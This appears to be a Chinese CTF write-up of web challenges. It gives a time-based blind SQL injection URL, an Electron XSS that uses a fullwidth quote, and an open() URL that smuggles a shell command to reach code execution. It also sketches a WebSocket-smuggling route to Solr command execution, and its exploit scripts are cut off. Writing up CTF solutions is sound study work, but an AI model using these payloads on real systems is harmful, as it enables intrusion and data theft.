前言
由于怎么题目没有做出了,因此总结的性质多一点。
0x01 easyweb
存在sql注入,注入点:
1 | /?s=/Api/Lt/gbooklist&orderby=if(ascii(substr((select%20flaag%20from%20fl4g),{},1))={},sleep(6),1)%23 |
注入脚本
1 | import requests |
0x02 Ticket—System
0x03 iCloudMusic
1. 首先寻找XSS,XSS的点很清晰就是js_to_run
处的动态拼接js,header处用url.parse处理url.
2. fuzz所有unicode可以发现\uff07
可以逃逸出单引号,因此只需要发送如下的url即可XSS.
3. 查看源码可以发现main.js中拦截了new-window事件,如果openExternal失败后会执行命令打开url,然而electron的window.open 默认通过浏览器a标签来处理,因此这里有两个解题思路:
1) 原形链污染覆盖a标签的getter.
1 | var f=document.createElement('a'); |
2) 用一个更宽的字节。
1 | open("http://xxxx.com%EF%BC%87;%00?;$(open$IFS$9-a$IFS$9Calculator);#/asdasdasd%00%10") |
0x04 Bank—service
1. 打开网页后,查看源码可发现通过socket.io建立socket连接与后端交互。
2. 交互提示后台使用solr提供搜索服务,联系websocket猜测可能是websocket-smuggle
3. 访问/solr提示403,于是⽤用websocket-smuggle访问发现可正常访问。
4. 尝试命令执行行,无法外带,只能构造回显,参考 https://paper.seebug.org/1009/ ,可以尝试利利用 ContentStreamDataSource 构造回显,seebug的paper中没有给出poc因此需要参考solr文档构造回显
exp:
1 | import socket |